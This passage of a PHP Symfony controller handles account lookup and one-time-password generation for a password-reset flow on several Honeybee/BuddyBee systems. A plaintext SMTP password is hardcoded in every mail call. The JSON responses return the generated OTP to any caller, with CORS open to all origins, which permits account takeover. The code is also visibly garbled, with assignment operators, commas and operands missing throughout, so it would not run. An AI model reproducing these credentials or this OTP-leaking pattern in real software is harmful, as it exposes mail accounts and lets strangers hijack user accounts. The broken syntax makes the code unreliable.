  8480.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8481.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8482.                     $em_goc->flush();
  8483.                     $userData = array(
  8484.                         'id' => $userObj->getApplicantId(),
  8485.                         'email' => $email_address,
  8486.                         'appId' => 0,
  8487.                         'image' => $userObj->getImage(),
  8488.                         'firstName' => $userObj->getFirstname(),
  8489.                         'lastName' => $userObj->getLastname(),
  8490.                         'phone' => $userObj->getPhone(),
  8491. //                        'appId'=>$userObj->getUserAppId(),
  8492.                     );
  8493.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8494.                     $email_twig_data = [
  8495.                         'page_title' => 'Find Account',
  8496.                         'encryptedData' => $encryptedData,
  8497.                         'message' => $message,
  8498.                         'userType' => $userType,
  8499.                         'errorField' => $errorField,
  8500.                         'otp' => $otpData['otp'],
  8501.                         'otpExpireSecond' => $otpExpireSecond,
  8502.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8503.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionTitle'],
  8504.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionDescForMail'],
  8505.                         'otpExpireTs' => $otpData['expireTs'],
  8506.                         'systemType' => $systemType,
  8507.                         'userCategory' => $userCategory,
  8508.                         'userData' => $userData
  8509.                     ];
  8510.                     $email_twig_data['success'] = true;
  8511.                 } else {
  8512.                     $message "Oops! Could not find your account";
  8513.                     $email_twig_data['success'] = false;
  8514.                 }
  8515.             } else if ($systemType == '_BUDDYBEE_') {
  8516.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8517.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8518.                     array(
  8519.                         'email' => $email_address
  8520.                     )
  8521.                 );
  8522.                 if ($userObj) {
  8523.                 } else {
  8524.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8525.                         array(
  8526.                             'oAuthEmail' => $email_address
  8527.                         )
  8528.                     );
  8529.                     if ($userObj) {
  8530.                     } else {
  8531.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8532.                             array(
  8533.                                 'username' => $email_address
  8534.                             )
  8535.                         );
  8536.                     }
  8537.                 }
  8538.                 if ($userObj) {
  8539.                     $email_address $userObj->getEmail();
  8540.                     if ($email_address == null || $email_address == '')
  8541.                         $email_address $userObj->getOAuthEmail();
  8542.                     //                    triggerResetPassword:
  8543. //                    type: integer
  8544. //                          nullable: true
  8545.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8546.                     $otp $otpData['otp'];
  8547.                     $otpExpireTs $otpData['expireTs'];
  8548.                     $userObj->setOtp($otpData['otp']);
  8549.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8550.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8551.                     $em_goc->flush();
  8552.                     $userData = array(
  8553.                         'id' => $userObj->getApplicantId(),
  8554.                         'email' => $email_address,
  8555.                         'appId' => 0,
  8556.                         'image' => $userObj->getImage(),
  8557.                         'firstName' => $userObj->getFirstname(),
  8558.                         'lastName' => $userObj->getLastname(),
  8559.                         'phone' => $userObj->getPhone(),
  8560. //                        'appId'=>$userObj->getUserAppId(),
  8561.                     );
  8562.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8563.                     $email_twig_data = [
  8564.                         'page_title' => 'Find Account',
  8565.                         'encryptedData' => $encryptedData,
  8566.                         'message' => $message,
  8567.                         'userType' => $userType,
  8568.                         'errorField' => $errorField,
  8569.                         'otp' => $otpData['otp'],
  8570.                         'otpExpireSecond' => $otpExpireSecond,
  8571.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8572.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8573.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8574.                         'otpExpireTs' => $otpData['expireTs'],
  8575.                         'systemType' => $systemType,
  8576.                         'userCategory' => $userCategory,
  8577.                         'userData' => $userData
  8578.                     ];
  8579.                     $email_twig_data['success'] = true;
  8580.                 } else {
  8581.                     $message "Oops! Could not find your account";
  8582.                     $email_twig_data['success'] = false;
  8583.                 }
  8584.             }
  8585.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8586.                 if ($systemType == '_BUDDYBEE_') {
  8587.                     $bodyHtml '';
  8588.                     $bodyTemplate $email_twig_file;
  8589.                     $bodyData $email_twig_data;
  8590.                     $attachments = [];
  8591.                     $forwardToMailAddress $email_address;
  8592. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8593.                     $new_mail $this->get('mail_module');
  8594.                     $new_mail->sendMyMail(array(
  8595.                         'senderHash' => '_CUSTOM_',
  8596.                         //                        'senderHash'=>'_CUSTOM_',
  8597.                         'forwardToMailAddress' => $forwardToMailAddress,
  8598.                         'subject' => 'Account Verification',
  8599. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8600.                         'attachments' => $attachments,
  8601.                         'toAddress' => $forwardToMailAddress,
  8602.                         'fromAddress' => 'no-reply@buddybee.eu',
  8603.                         'userName' => 'no-reply@buddybee.eu',
  8604.                         'password' => 'Honeybee@0112',
  8605.                         'smtpServer' => 'smtp.hostinger.com',
  8606.                         'smtpPort' => 465,
  8607. //                            'emailBody' => $bodyHtml,
  8608.                         'mailTemplate' => $bodyTemplate,
  8609.                         'templateData' => $bodyData,
  8610. //                        'embedCompanyImage' => 1,
  8611. //                        'companyId' => $companyId,
  8612. //                        'companyImagePath' => $company_data->getImage()
  8613.                     ));
  8614.                 } else if ($systemType == '_CENTRAL_') {
  8615.                     $bodyHtml '';
  8616.                     $bodyTemplate $email_twig_file;
  8617.                     $bodyData $email_twig_data;
  8618.                     $attachments = [];
  8619.                     $forwardToMailAddress $email_address;
  8620. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8621.                     $new_mail $this->get('mail_module');
  8622.                     $new_mail->sendMyMail(array(
  8623.                         'senderHash' => '_CUSTOM_',
  8624.                         //                        'senderHash'=>'_CUSTOM_',
  8625.                         'forwardToMailAddress' => $forwardToMailAddress,
  8626.                         'subject' => 'Account Verification',
  8627. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8628.                         'attachments' => $attachments,
  8629.                         'toAddress' => $forwardToMailAddress,
  8630.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8631.                         'userName' => 'accounts@ourhoneybee.eu',
  8632.                         'password' => 'Honeybee@0112',
  8633.                         'smtpServer' => 'smtp.hostinger.com',
  8634.                         'smtpPort' => 465,
  8635. //                            'emailBody' => $bodyHtml,
  8636.                         'mailTemplate' => $bodyTemplate,
  8637.                         'templateData' => $bodyData,
  8638. //                        'embedCompanyImage' => 1,
  8639. //                        'companyId' => $companyId,
  8640. //                        'companyImagePath' => $company_data->getImage()
  8641.                     ));
  8642.                 } else {
  8643.                     $bodyHtml '';
  8644.                     $bodyTemplate $email_twig_file;
  8645.                     $bodyData $email_twig_data;
  8646.                     $attachments = [];
  8647.                     $forwardToMailAddress $email_address;
  8648. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8649.                     $new_mail $this->get('mail_module');
  8650.                     $new_mail->sendMyMail(array(
  8651.                         'senderHash' => '_CUSTOM_',
  8652.                         //                        'senderHash'=>'_CUSTOM_',
  8653.                         'forwardToMailAddress' => $forwardToMailAddress,
  8654.                         'subject' => 'Applicant Registration on Honeybee',
  8655. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8656.                         'attachments' => $attachments,
  8657.                         'toAddress' => $forwardToMailAddress,
  8658.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8659.                         'userName' => 'accounts@ourhoneybee.eu',
  8660.                         'password' => 'Honeybee@0112',
  8661.                         'smtpServer' => 'smtp.hostinger.com',
  8662.                         'smtpPort' => 465,
  8663.                         'emailBody' => $bodyHtml,
  8664.                         'mailTemplate' => $bodyTemplate,
  8665.                         'templateData' => $bodyData,
  8666. //                        'embedCompanyImage' => 1,
  8667. //                        'companyId' => $companyId,
  8668. //                        'companyImagePath' => $company_data->getImage()
  8669.                     ));
  8670.                 }
  8671.             }
  8672.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8673.                 if ($systemType == '_BUDDYBEE_') {
  8674.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8675.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8676.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8677.                      _APPEND_CODE_';
  8678.                     $msg str_replace($searchVal$replaceVal$msg);
  8679.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8680.                     $sendType 'all';
  8681.                     $socketUserIds = [];
  8682.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8683.                 } else {
  8684.                 }
  8685.             }
  8686.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8687.                 $response = new JsonResponse(array(
  8688.                         'templateData' => $twigData,
  8689.                         'message' => $message,
  8690. //                        "otp"=>'',
  8691.                         "otp" => $otp,
  8692.                         "otpExpireTs" => $otpExpireTs,
  8693.                         'actionData' => $email_twig_data,
  8694.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8695.                     )
  8696.                 );
  8697.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8698.                 return $response;
  8699.             } else if ($email_twig_data['success'] == true) {
  8700.                 $encData = array(
  8701.                     "userType" => $userType,
  8702.                     "otp" => '',
  8703. //                "otp"=>$otp,
  8704.                     "otpExpireTs" => $otpExpireTs,
  8705.                     "otpActionId" => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8706.                     "userCategory" => $userCategory,
  8707.                     "userId" => $userData['id'],
  8708.                     "systemType" => $systemType,
  8709.                     "email" => $email_address,
  8710.                 );
  8711.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8712.                 $url $this->generateUrl(
  8713.                     'verify_otp'
  8714.                 );
  8715.                 return $this->redirect($url "/" $encDataStr);
  8716. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8717. ////                    'encData'
  8718. ////                'id' => $isApplicantExist->getApplicantId(),
  8719. ////                'oAuthData' => $oAuthData,
  8720. ////                'refRoute' => $refRoute,
  8721. //                ]);
  8722.             }
  8723.         }
  8724.         if ($systemType == '_ERP_') {
  8725.             if ($userCategory == '_APPLICANT_') {
  8726.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8727.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8728.                 $twigData = [
  8729.                     'page_title' => 'Find Account',
  8730.                     'encryptedData' => $encryptedData,
  8731.                     'message' => $message,
  8732.                     'systemType' => $systemType,
  8733.                     'ownServerId' => $ownServerId,
  8734.                     'userType' => $userType,
  8735.                     'errorField' => $errorField,
  8736.                 ];
  8737.             } else {
  8738.                 $userType UserConstants::USER_TYPE_GENERAL;
  8739.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8740.                 $twigData = [
  8741.                     'page_title' => 'Find Account',
  8742.                     'encryptedData' => $encryptedData,
  8743.                     'systemType' => $systemType,
  8744.                     'ownServerId' => $ownServerId,
  8745.                     'message' => $message,
  8746.                     'userType' => $userType,
  8747.                     'errorField' => $errorField,
  8748.                 ];
  8749.             }
  8750.         } else if ($systemType == '_SOPHIA_') {
  8751.             $userType UserConstants::USER_TYPE_APPLICANT;
  8752.             $twig_file '@Sophia/pages/views/sophia_verify_email.html.twig';
  8753.             $twigData = [
  8754.                 'page_title' => 'Find Account',
  8755.                 'encryptedData' => $encryptedData,
  8756.                 'systemType' => $systemType,
  8757.                 'ownServerId' => $ownServerId,
  8758.                 "otp" => '',
  8759. //                "otp"=>$otp,
  8760.                 "otpExpireTs" => $otpExpireTs,
  8761.                 'message' => $message,
  8762.                 'userType' => $userType,
  8763.                 'errorField' => $errorField,
  8764.             ];
  8765.         } else if ($systemType == '_CENTRAL_') {
  8766.             $userType UserConstants::USER_TYPE_APPLICANT;
  8767.             $twig_file '@HoneybeeWeb/pages/verify_email.html.twig';
  8768.             $twigData = [
  8769.                 'page_title' => 'Find Account',
  8770.                 'encryptedData' => $encryptedData,
  8771.                 'systemType' => $systemType,
  8772.                 'ownServerId' => $ownServerId,
  8773.                 "otp" => '',
  8774. //                "otp"=>$otp,
  8775.                 "otpExpireTs" => $otpExpireTs,
  8776.                 'message' => $message,
  8777.                 'userType' => $userType,
  8778.                 'errorField' => $errorField,
  8779.             ];
  8780.         } else if ($systemType == '_BUDDYBEE_') {
  8781.             $userType UserConstants::USER_TYPE_APPLICANT;
  8782.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8783.             $twigData = [
  8784.                 'page_title' => 'Find Account',
  8785.                 'encryptedData' => $encryptedData,
  8786.                 "otp" => '',
  8787.                 'systemType' => $systemType,
  8788.                 'ownServerId' => $ownServerId,
  8789. //                "otp"=>$otp,
  8790.                 "otpExpireTs" => $otpExpireTs,
  8791.                 'message' => $message,
  8792.                 'userType' => $userType,
  8793.                 'errorField' => $errorField,
  8794.             ];
  8795.         }
  8796.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8797.             $response = new JsonResponse(array(
  8798.                     'templateData' => $twigData,
  8799.                     'message' => $message,
  8800.                     "otp" => '',
  8801. //                "otp"=>$otp,
  8802.                     "otpExpireTs" => $otpExpireTs,
  8803.                     'actionData' => $email_twig_data,
  8804.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8805.                 )
  8806.             );
  8807.             $response->headers->set('Access-Control-Allow-Origin''*');
  8808.             return $response;
  8809.         } else {
  8810.             return $this->render(
  8811.                 $twig_file,
  8812.                 $twigData
  8813.             );
  8814.         }
  8815.     }
  8816.     public function FindAccountForAppAction(Request $request$encData ''$remoteVerify 0)
  8817.     {
  8818. //        $userCategory=$request->request->has('userCategory');
  8819.         $encryptedData = [];
  8820.         $errorField '';
  8821.         $message '';
  8822.         $userType '';
  8823.         $otpExpireSecond 180;
  8824.         $otpExpireTs 0;
  8825.         $otp '';
  8826.         if ($encData != '')
  8827.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8828. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8829.         $userCategory '_BUDDYBEE_USER_';
  8830.         if (isset($encryptedData['userCategory']))
  8831.             $userCategory $encryptedData['userCategory'];
  8832.         else
  8833.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8834.         $em $this->getDoctrine()->getManager('company_group');
  8835.         $em_goc $this->getDoctrine()->getManager('company_group');
  8836.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8837.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8838.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8839.         $twigData = [];
  8840.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8841.         $email_address $request->request->get('email''');
  8842.         $email_twig_data = [];
  8843.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8844.         if ($request->isMethod('POST')) {
  8845.             //set an otp and its expire and send mail
  8846.             $email_address $request->request->get('email');
  8847.             $userObj null;
  8848.             $userData = [];
  8849.             if ($systemType == '_ERP_') {
  8850.                 if ($userCategory == '_APPLICANT_') {
  8851.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8852.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8853.                         array(
  8854.                             'email' => $email_address
  8855.                         )
  8856.                     );
  8857.                     if ($userObj) {
  8858.                     } else {
  8859.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8860.                             array(
  8861.                                 'oAuthEmail' => $email_address
  8862.                             )
  8863.                         );
  8864.                         if ($userObj) {
  8865.                         } else {
  8866.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8867.                                 array(
  8868.                                     'username' => $email_address
  8869.                                 )
  8870.                             );
  8871.                         }
  8872.                     }
  8873.                     if ($userObj) {
  8874.                         $email_address $userObj->getEmail();
  8875.                         if ($email_address == null || $email_address == '')
  8876.                             $email_address $userObj->getOAuthEmail();
  8877.                     }
  8878. //                    triggerResetPassword:
  8879. //                    type: integer
  8880. //                          nullable: true
  8881.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8882.                     $otp $otpData['otp'];
  8883.                     $otpExpireTs $otpData['expireTs'];
  8884.                     $userObj->setOtp($otpData['otp']);
  8885.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8886.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8887.                     $em_goc->flush();
  8888.                     $userData = array(
  8889.                         'id' => $userObj->getApplicantId(),
  8890.                         'email' => $email_address,
  8891.                         'appId' => 0,
  8892. //                        'appId'=>$userObj->getUserAppId(),
  8893.                     );
  8894.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8895.                     $email_twig_data = [
  8896.                         'page_title' => 'Find Account',
  8897.                         'encryptedData' => $encryptedData,
  8898.                         'message' => $message,
  8899.                         'userType' => $userType,
  8900.                         'errorField' => $errorField,
  8901.                         'otp' => $otpData['otp'],
  8902.                         'otpExpireSecond' => $otpExpireSecond,
  8903.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8904.                         'otpExpireTs' => $otpData['expireTs'],
  8905.                         'systemType' => $systemType,
  8906.                         'userData' => $userData
  8907.                     ];
  8908.                     if ($userObj)
  8909.                         $email_twig_data['success'] = true;
  8910.                 } else {
  8911.                     $userType UserConstants::USER_TYPE_GENERAL;
  8912.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8913.                     $email_twig_data = [
  8914.                         'page_title' => 'Find Account',
  8915.                         'encryptedData' => $encryptedData,
  8916.                         'message' => $message,
  8917.                         'userType' => $userType,
  8918.                         'errorField' => $errorField,
  8919.                     ];
  8920.                 }
  8921.             } else if ($systemType == '_CENTRAL_') {
  8922.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8923.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8924.                     array(
  8925.                         'email' => $email_address
  8926.                     )
  8927.                 );
  8928.                 if ($userObj) {
  8929.                 } else {
  8930.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8931.                         array(
  8932.                             'oAuthEmail' => $email_address
  8933.                         )
  8934.                     );
  8935.                     if ($userObj) {
  8936.                     } else {
  8937.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8938.                             array(
  8939.                                 'username' => $email_address
  8940.                             )
  8941.                         );
  8942.                     }
  8943.                 }
  8944.                 if ($userObj) {
  8945.                     $email_address $userObj->getEmail();
  8946.                     if ($email_address == null || $email_address == '')
  8947.                         $email_address $userObj->getOAuthEmail();
  8948.                     //                    triggerResetPassword:
  8949. //                    type: integer
  8950. //                          nullable: true
  8951.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8952.                     $otp $otpData['otp'];
  8953.                     $otpExpireTs $otpData['expireTs'];
  8954.                     $userObj->setOtp($otpData['otp']);
  8955.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8956.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8957.                     $em_goc->flush();
  8958.                     $userData = array(
  8959.                         'id' => $userObj->getApplicantId(),
  8960.                         'email' => $email_address,
  8961.                         'appId' => 0,
  8962.                         'image' => $userObj->getImage(),
  8963.                         'firstName' => $userObj->getFirstname(),
  8964.                         'lastName' => $userObj->getLastname(),
  8965.                         'phone' => $userObj->getPhone(),
  8966. //                        'appId'=>$userObj->getUserAppId(),
  8967.                     );
  8968.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8969.                     $email_twig_data = [
  8970.                         'page_title' => 'Find Account',
  8971.                         'encryptedData' => $encryptedData,
  8972.                         'message' => $message,
  8973.                         'userType' => $userType,
  8974.                         'errorField' => $errorField,
  8975.                         'otp' => $otpData['otp'],
  8976.                         'otpExpireSecond' => $otpExpireSecond,
  8977.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8978.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8979.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8980.                         'otpExpireTs' => $otpData['expireTs'],
  8981.                         'systemType' => $systemType,
  8982.                         'userCategory' => $userCategory,
  8983.                         'userData' => $userData
  8984.                     ];
  8985.                     $email_twig_data['success'] = true;
  8986.                 } else {
  8987.                     $message "Oops! Could not find your account";
  8988.                     $email_twig_data['success'] = false;
  8989.                 }
  8990.             }
  8991.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8992.                 if ($systemType == '_CENTRAL_') {
  8993.                     $bodyHtml '';
  8994.                     $bodyTemplate $email_twig_file;
  8995.                     $bodyData $email_twig_data;
  8996.                     $attachments = [];
  8997.                     $forwardToMailAddress $email_address;
  8998. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8999.                     $new_mail $this->get('mail_module');
  9000.                     $new_mail->sendMyMail(array(
  9001.                         'senderHash' => '_CUSTOM_',
  9002.                         //                        'senderHash'=>'_CUSTOM_',
  9003.                         'forwardToMailAddress' => $forwardToMailAddress,
  9004.                         'subject' => 'Account Verification',
  9005. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9006.                         'attachments' => $attachments,
  9007.                         'toAddress' => $forwardToMailAddress,
  9008.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9009.                         'userName' => 'accounts@ourhoneybee.eu',
  9010.                         'password' => 'Honeybee@0112',
  9011.                         'smtpServer' => 'smtp.hostinger.com',
  9012.                         'smtpPort' => 465,
  9013. //                            'emailBody' => $bodyHtml,
  9014.                         'mailTemplate' => $bodyTemplate,
  9015.                         'templateData' => $bodyData,
  9016. //                        'embedCompanyImage' => 1,
  9017. //                        'companyId' => $companyId,
  9018. //                        'companyImagePath' => $company_data->getImage()
  9019.                     ));
  9020.                 } else {
  9021.                     $bodyHtml '';
  9022.                     $bodyTemplate $email_twig_file;
  9023.                     $bodyData $email_twig_data;
  9024.                     $attachments = [];
  9025.                     $forwardToMailAddress $email_address;
  9026. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9027.                     $new_mail $this->get('mail_module');
  9028.                     $new_mail->sendMyMail(array(
  9029.                         'senderHash' => '_CUSTOM_',
  9030.                         //                        'senderHash'=>'_CUSTOM_',
  9031.                         'forwardToMailAddress' => $forwardToMailAddress,
  9032.                         'subject' => 'Applicant Registration on Honeybee',
  9033. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9034.                         'attachments' => $attachments,
  9035.                         'toAddress' => $forwardToMailAddress,
  9036.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9037.                         'userName' => 'accounts@ourhoneybee.eu',
  9038.                         'password' => 'Honeybee@0112',
  9039.                         'smtpServer' => 'smtp.hostinger.com',
  9040.                         'smtpPort' => 465,
  9041.                         'emailBody' => $bodyHtml,
  9042.                         'mailTemplate' => $bodyTemplate,
  9043.                         'templateData' => $bodyData,
  9044. //                        'embedCompanyImage' => 1,
  9045. //                        'companyId' => $companyId,
  9046. //                        'companyImagePath' => $company_data->getImage()
  9047.                     ));
  9048.                 }
  9049.             }
  9050.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  9051.                 if ($systemType == '_BUDDYBEE_') {
  9052.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  9053.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  9054.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  9055.                      _APPEND_CODE_';
  9056.                     $msg str_replace($searchVal$replaceVal$msg);
  9057.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  9058.                     $sendType 'all';
  9059.                     $socketUserIds = [];
  9060.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  9061.                 } else {
  9062.                 }
  9063.             }
  9064.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9065.                 $response = new JsonResponse(array(
  9066.                         'templateData' => $twigData,
  9067.                         'message' => $message,
  9068. //                        "otp"=>'',
  9069.                         "otp" => $otp,
  9070.                         "otpExpireTs" => $otpExpireTs,
  9071.                         'actionData' => $email_twig_data,
  9072.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9073.                     )
  9074.                 );
  9075.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9076.                 return $response;
  9077.             } else if ($email_twig_data['success'] == true) {
  9078.                 $encData = array(
  9079.                     "userType" => $userType,
  9080.                     "otp" => '',
  9081. //                "otp"=>$otp,
  9082.                     "otpExpireTs" => $otpExpireTs,
  9083.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9084.                     "userCategory" => $userCategory,
  9085.                     "userId" => $userData['id'],
  9086.                     "systemType" => $systemType,
  9087.                     "email" => $email_address,
  9088.                 );
  9089.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9090.                 $url $this->generateUrl(
  9091.                     'verify_otp'
  9092.                 );
  9093.                 return $this->redirect($url "/" $encDataStr);
  9094. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  9095. ////                    'encData'
  9096. ////                'id' => $isApplicantExist->getApplicantId(),
  9097. ////                'oAuthData' => $oAuthData,
  9098. ////                'refRoute' => $refRoute,
  9099. //                ]);
  9100.             }
  9101.         }
  9102.         if ($systemType == '_ERP_') {
  9103.             if ($userCategory == '_APPLICANT_') {
  9104.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9105.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9106.                 $twigData = [
  9107.                     'page_title' => 'Find Account',
  9108.                     'encryptedData' => $encryptedData,
  9109.                     'message' => $message,
  9110.                     'systemType' => $systemType,
  9111.                     'ownServerId' => $ownServerId,
  9112.                     'userType' => $userType,
  9113.                     'errorField' => $errorField,
  9114.                 ];
  9115.             } else {
  9116.                 $userType UserConstants::USER_TYPE_GENERAL;
  9117.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9118.                 $twigData = [
  9119.                     'page_title' => 'Find Account',
  9120.                     'encryptedData' => $encryptedData,
  9121.                     'systemType' => $systemType,
  9122.                     'ownServerId' => $ownServerId,
  9123.                     'message' => $message,
  9124.                     'userType' => $userType,
  9125.                     'errorField' => $errorField,
  9126.                 ];
  9127.             }
  9128.         } else if ($systemType == '_CENTRAL_') {
  9129.             $userType UserConstants::USER_TYPE_APPLICANT;
  9130.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  9131.             $twigData = [
  9132.                 'page_title' => 'Find Account',
  9133.                 'encryptedData' => $encryptedData,
  9134.                 'systemType' => $systemType,
  9135.                 'ownServerId' => $ownServerId,
  9136.                 "otp" => '',
  9137. //                "otp"=>$otp,
  9138.                 "otpExpireTs" => $otpExpireTs,
  9139.                 'message' => $message,
  9140.                 'userType' => $userType,
  9141.                 'errorField' => $errorField,
  9142.             ];
  9143.         } else if ($systemType == '_BUDDYBEE_') {
  9144.             $userType UserConstants::USER_TYPE_APPLICANT;
  9145.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9146.             $twigData = [
  9147.                 'page_title' => 'Find Account',
  9148.                 'encryptedData' => $encryptedData,
  9149.                 "otp" => '',
  9150.                 'systemType' => $systemType,
  9151.                 'ownServerId' => $ownServerId,
  9152. //                "otp"=>$otp,
  9153.                 "otpExpireTs" => $otpExpireTs,
  9154.                 'message' => $message,
  9155.                 'userType' => $userType,
  9156.                 'errorField' => $errorField,
  9157.             ];
  9158.         }
  9159.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9160.             $response = new JsonResponse(array(
